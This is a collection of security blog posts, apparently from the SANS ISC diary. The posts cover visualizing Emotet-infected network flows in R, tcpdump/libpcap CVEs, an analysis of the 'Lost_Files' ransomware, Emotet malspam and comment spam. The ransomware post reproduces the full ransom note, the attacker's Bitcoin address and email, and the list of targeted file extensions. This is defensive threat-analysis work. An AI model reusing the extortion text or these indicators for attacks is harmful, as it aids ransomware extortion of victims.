You’re the security lead for a midsize financial services firm operating six total sites. The network design is inadequate; while there are six unique sites the topology is mesh-like. The intential design serves two purposes, one positive and one deeply problematic. While collaboration and node cooperation are inherent, so to is the ease of malware to propogate rapidly accross the whole topology. You, as the security punching bag, have dealt with a number of malware incidents prior, but now you’re facing a real cluster. Emotet is in the house. Emotet, malware originally designed as a banking Trojan aimed at stealing financial data, has evolved to become a major threat. As of 2018, new versions of the Emotet Trojan include the ability to install other malware to infected machines, including other Trojans and ransomware. More succinctly, Emotet, per US-CERT NCAS alert TA18-201A, includes worm-like features result in rapidly spreading network-wide infection, which are difficult to combat. This is exactly where you find yourself in your incident response, and you need to rapidly identify impacted nodes, contain, and mitigate.
You have data.
Your asset inventory is current, as it should be, and your network topology, albeit suboptimal, is well documented. You have logs. Via network flow aggregation you have good raw data regarding what nodes are communicating with each other, and to what extent (volume, frequency), referred to as width in the CSVs to be ingested. Raw data is nice, a must have, but here exists a golden opportunity for network visualization…of your network. You have what is the required data to compile a list of nodes, and a list of edges to incorporate directly into a visNetwork visualization that should more rapidly help you identify command and control (C2) nodes, and others that are falling to the outbreak.

Again, thanks to Niklas Junker at STATWORX for the stimulus here. This is a complete and unadulterated resuse of his code and excellent writeup. The complete R script as well as the nodes and edges CSVs are posted on my GitHub for your own use and experimentation. A walkthrough in snippets follows:

# Remove all the objects from the workspace (clear the chaff), and set the working directory

rm(list = ls())

#Load the required packages


# Data Preparation

#Load dataset

# Load nodes data from CSV
nodeData <- read.csv("nodes.csv", header = TRUE)
nodes <- as.data.frame(nodeData)

# Load edges from CSV
edgeData <- read.csv("edges.csv", header = TRUE)
edges <- as.data.frame(edgeData)

# Create graph for Louvain Community Detection (LCD)
# https://arxiv.org/pdf/0803.0476.pdf

graph <- graph_from_data_frame(edges, directed = FALSE)

#Louvain Community Detection (LCD)

cluster <- cluster_louvain(graph)

cluster_df <- data.frame(as.list(membership(cluster)))
cluster_df <- as.data.frame(t(cluster_df))
cluster_df$label <- rownames(cluster_df)

#Create group column

nodes <- left_join(nodes, cluster_df, by = "label")
colnames(nodes)[3] <- "group"

# Visualize data with visNetwork

visNetwork(nodes, edges)

Take note of the reference to Louvain Community Detection (LCD), that’s the algorithmic underpinning for igraph, you should read the framing paper, Fast unfolding of communities in large networks

The result is beautiful, as seen in Figure 1.


Figure 1: Initial visNetwork result for Emotet-impacted IPv4 network

When you render this for yourself you’ll note that you can drag nodes in case you need to read a label it’s hiding for another node. While that is dynamic in part, the real action ensues when you customize your network view with additional functions as we’ll see in the next snippet.
Above all else, consider how the above mentioned width drives specific behavior in the graph. The more a given node communicates with another, the wider the representing edge will be visualized. This leads us to possible conclusions in the example. Referring to Figure 2, a zoomed view into Figure 1, it is reasonable to assume that three nodes in particular may be operating as C2 in the Emotet outbreak:,, and

visnetwork zoom

Figure 2: Probable C2 nodes

With additional functionality as mentioned above, you can create even more dynamic views. Code follows:

visNetwork(nodes, edges, width = "100%") %>%
  visIgraphLayout() %>%
    shape = "dot",
    color = list(
      background = "#0085AF",
      border = "#013848",
      highlight = "#FF8000"
    shadow = list(enabled = TRUE, size = 10)
  ) %>%
    shadow = FALSE,
    color = list(color = "#0085AF", highlight = "#C62F4B")
  ) %>%
  visOptions(highlightNearest = list(enabled = T, degree = 1, hover = T),
             selectedBy = "group") %>% 
  visLayout(randomSeed = 11)

As noted, use the likes of visNodes, visEdges, visOptions, visLayout or visIgraphLayout to enhance the visualization as seen in Figure 3.

viznetwork grouping

Figure 3: Enhanced visNetwork result for Emotet-impacted IPv4 network

Most importantly, note that visOptions is used to highlight nodes resulting in the ability to select by group. The logical groupings in this example represent each of the six financial services locations, and the Emotet-impacted nodes on their networks. The resulting Select by group provides highlighted focus of a particular site’s network. If you’re deploying incident responders in person, or implementing remote mitigation, such views create efficients and improved time-to-mitigate (TTM). A focus on group 4 (site 4) highlights two of the above mentioned C2 nodes.

To apply this practice, you’d need to devise nuance flow reporting on node-to-node communications inclusive of count over a given period. You could tailor by specific protocols and traffic types depending on the question you’re trying to answer in the data. More to related experiments to come in Part 4 of DFIR Redefined series.

Cheers…until next time.

Russ McRee | @holisticinfosec


Published: 2019-10-03

Buffer overflows found in libpcap and tcpdump

It is always a bit worrisome when vulnerabilities are found in our favorite tools, but our tools are software like any other software and can have bugs, too. One of the feeds I have in my RSS reader is NIST National Vulnerability Database (NVD) feed. Earlier today, I noticed a bunch of CVEs show up there for libpcap and tcpdump. I hadn't noticed any major announcements of new versions or any automatic updates of those tools on any of my linux boxes, so I decided to head straight to the source, www.tcpdump.org. It turns out, there were new versions of both libpcap (new version is 1.9.1) and tcpdump (version 4.9.3) released on Monday. And, there under latest releases, it notes that this release "addresses a large number of vulnerabilities." It should also be noted, this is the first release in over 2 years. Quite of few of the vulnerabilities have CVEs dating from 2018. In all, this update addresses 33 CVEs. Hopefully, the major linux distros will roll out updates over the next few days or weeks. I haven't seen any indication that folks have tried to craft traffic to exploit any of these vulnerabilities, but that is always a concern when a tool like tcpdump or wireshark or the like has buffer overflows in their protocol parsers/decoders/dissectors. So, if you use tcpdump and/or any libpcap-based tools in your toolbox for network monitoring or network forensics, be on the lookout for updates from your linux distro or tool vendor or just go ahead and build your own copy from source.

Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu


Published: 2019-10-03

"Lost_Files" Ransomware

Are good old malware still used by attackers today? Probably not running the original code but malware developers are… developers! They don’t reinvent the wheel and re-use code published here and there. I spotted a ransomware which looked like an old one.

The following email landed in my mailbox:

Not very well designed, the sender email address is even not spoofed but it made me curious. The delivered message is always the same: to make the victim scary and lure it to click on a link. The “Download” button hides the following URL:


Let’s visit the URL and grab a copy of the WSS.zip archive (SHA256:02629729329cde8d1892afa1d412a75cfcc338826c0b5087a2ef3182b5a1af85). It’s indeed a valid archive:

$ unzip -t WSS.zip
Archive:  WSS.zip
    testing: Windows Security Scanner/   OK
    testing: Windows Security Scanner/desktop.ini   OK
    testing: Windows Security Scanner/Resources/   OK
    testing: Windows Security Scanner/Resources/32BitRun.exe   OK
    testing: Windows Security Scanner/Resources/Installer_exe.exe   OK
    testing: Windows Security Scanner/Resources/SecurityUpdater.exe.exe   OK
    testing: Windows Security Scanner/Resources/ShortCutVBS.vbs   OK
    testing: Windows Security Scanner/Resources/Temp_Test.tester   OK
    testing: Windows Security Scanner/Resources/Windows.LNK   OK
    testing: Windows Security Scanner/Windows Security Scanner.exe   OK
No errors detected in compressed data of WSS.zip.

Strings found in the “Windows Security Scanner.exe” PE file reveal immediately the type of malware:

Attention!!! First of all we are terribly sorry to have encrypted your data. Because we are human too and we
feel some guilt encrypting your data. We offer that we can help you decrypt it again for a small amount of Bitcoins(BTC).
The amount that we need from you is 500 USD that you will transfer to our BTC account. To Get your unique tool to decrypt
your files, your need to push the button below and your BTC payment address will show, transfer 500 USD in BTC to that
address. After you have transfered the BTC you are going to send an email to our email address(Our email will also get
displayed when pushed the button). Where you provide your BTC address of the wallet that you used to send our BTC(If you
have other comments, you are welcome to say it)[Also remerber to check your spam inbox for when we send your decryption
tool]. We will check it, if you have sent the BTC, you will get your decryption tool. Everything from family memories to
the hard work of yours, will be washed down the toilet and it will never return. So it's strongly advised that you start
paying us for helping you to decrypt it. In the case that you are a little older and don't know much about all the computer
stuff then you can ask your children or grandchildren.
PLEASE Look below for additional information.
Needing help to get your BTC?
Some resources to get started with BTC:
Keep in mind!
When you buy BTC you should buy slightly more than 500 USD, just in case the price drops. Also you need it as sending fees
which varies at times. So it's recommended to buy 510 USD worth of BTC from one of the exchanges. Then again we are sorry for
what happened to you, hope you will have better luck next time! :-)


Hi, This is Lost_Files Ransomware, Pay us 500 USD to get our decryption software. So that you can get your files back. The
payment is going to be paid in Bitcoin(BTC). For more information about this please click the same EXE file you clicked when
you lost all your files. There will be detailed instruction there.
The email is: Lost_Files_Ransom@secmail.pro
Transfer BTC to this address: 13nRGetwvc7UZF8P5KM9bWqHGK6tMk7wyf

Executed alone, the main binary does not work without the files in the Resources directory. They are also referenced in the code:


Its SHA256 is df693cc9d9e89e1db2a8edeaf2e77723e853f363da510a15ade9be79df96dc5e and its compilation time is Sun Sep 29 15:27:35 2019. The current VT score is 30/58[1]. Identified by some AV as “Hidden Tear”. This ransomware is pretty old and has been open-sourced on GitHub a few years ago[2].

Let’s execute it in a sandbox:

Encrypted files are the following (extracted from the binary):

.xxx .sdf .txt .doc .docx .xls .pdf .zip .rar .css .xlsx
.ppt .pptx .odt .jpg .bmp .png .csv .sql .mdb .php.asp
.aspx .html .xml .psd .bat .mp3 .mp4 .wav .wma.avi .mkv
.mpeg .wmv .mov .jpeg .ogg.TXT .DOC .DOCX .XLS .PDF

Once processed, files are renamed with the extension '.Lost_Files_Encrypt'. Apparently, the ransomware started to scan for SMB services (TCP/445) on random IP addresses after the initial infection. Probably trying to infect host vulnerable to EternalBlue. 

I did not find relevant online information about this ransomware. I'll have a look deeper at the binaries. Did you have something interesting to share about this threat? Please do! 

[1] https://www.virustotal.com/gui/file/df693cc9d9e89e1db2a8edeaf2e77723e853f363da510a15ade9be79df96dc5e/detection
[2] https://github.com/goliate/hidden-tear

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-10-02

A recent example of Emotet malspam

Shown below is an example of malicious spam (malspam) pushing Emotet malware.  It has an attached Word document with macros designed to install Emotet on a vulnerable Windows host.

Shown above:  Emotet malspam from Tuesday 2019-10-01.

Of note, this malspam is based on a message from the inbox of a lab host I infected with Emotet back in March 2019.  This information was kept for over 6 months before a host from the Emotet botnet added the additional text and attachment, sending it back to my blog's email address.

Shown above:  The attached Word document with macros for Emotet.

I used a sandbox to open the Word document in a vulnerable environment and enable macros.  This led to the expected Emotet traffic and artifacts on the infected host.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  The initial Emotet executable file (657.exe) temporarily saved under the user's profile directory.

Shown above:  The Emotet executable where it remained persistent on the infected host.

Final words

I expect we'll keep seeing malspam pushing Emotet in the foreseeable future.  Of course, properly-administered Windows hosts that follow best security practices are rarely, if ever, vulnerable to these attacks.  However, enough vulnerable hosts exist, and apparently enough infections occur to make this activity worthwhile for the criminals.

Sandbox analysis of the Word doc with macros for Emotet can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2019-10-01

A Quick Look at Some Current Comment Spam

As pretty much everybody else allowing comments, our site is getting its fair share of spam. Over the years, we implemented a number of countermeasures, so it is always interesting to see what makes it past these countermeasures. There are a number of recurring themes when it comes to spam:

  • VPN advertisements (we also get A LOT of offers from individuals asking us to post their latest VPN comparison)
  • Outlook file converters. Odd how often they show up.

One recent technique is the use of excerpts from the article as a comment. The intention may be to bypass various spam filters by hitting the right keywords. I was interested to see if I can learn a bit more about how these spam messages are submitted.

The particular comment I looked at advertised a "Wordpress Security Blog". A search of a random text snippet from the site shows about 100 copies of the content indexed by Google. The comment was left earlier today, at 9:38am UTC. The account was actually created about 4 1/2 hrs earlier and used a Protonmail e-mail address. The user agent is plausible:

Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0

This points to Firefox 69 on Windows 7. So this is a current version of Firefox on a bit an older (but still used) version of Windows. The IP address the comment was posted from appears to be located in India, but the email address suggests a Russian user. All hits for this user came from the same IP address.

What's a bit odd: As you sign up for an account to the site, your email needs to be verified. I counted 4 email verification attempts. Only one attempt was made to leave a comment, which of course never got approved.

The weblog entries left by the user match a normal browser. All images, style sheets, fonts, and similar files are loaded. The only odd thing is that the first hit is for a password reset URL. It took about 40 seconds from loading the diary post to leaving a comment, which is about "normal". If this is a script, then it does a good job in delaying its actions to look more real. In some cases, it may be a bit too precise. The spammer also left two comments in our glossary, which were exactly one minute appart (ok. 62 seconds). 

So this looks like a likely at least semi-manual (or "machine-assisted") spam campaign. Here are a couple of things we do to keep spam to a minimum:

  • You need to log in to leave a comment. This is probably the largest deterrent.
  • To set up an account, we verify an email address.
  • we use a stupid simple captcha for the signup process (I find them to work better than standard captchas)
  • New user's comments need to be approved.

With these countermeasures, the spam comments are very manageable. If you ever see that there are "x" comments for a post, but less are visible: This indicates a comment may be waiting to be approved or got marked as spam. Have to fix that counter sometime.

Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute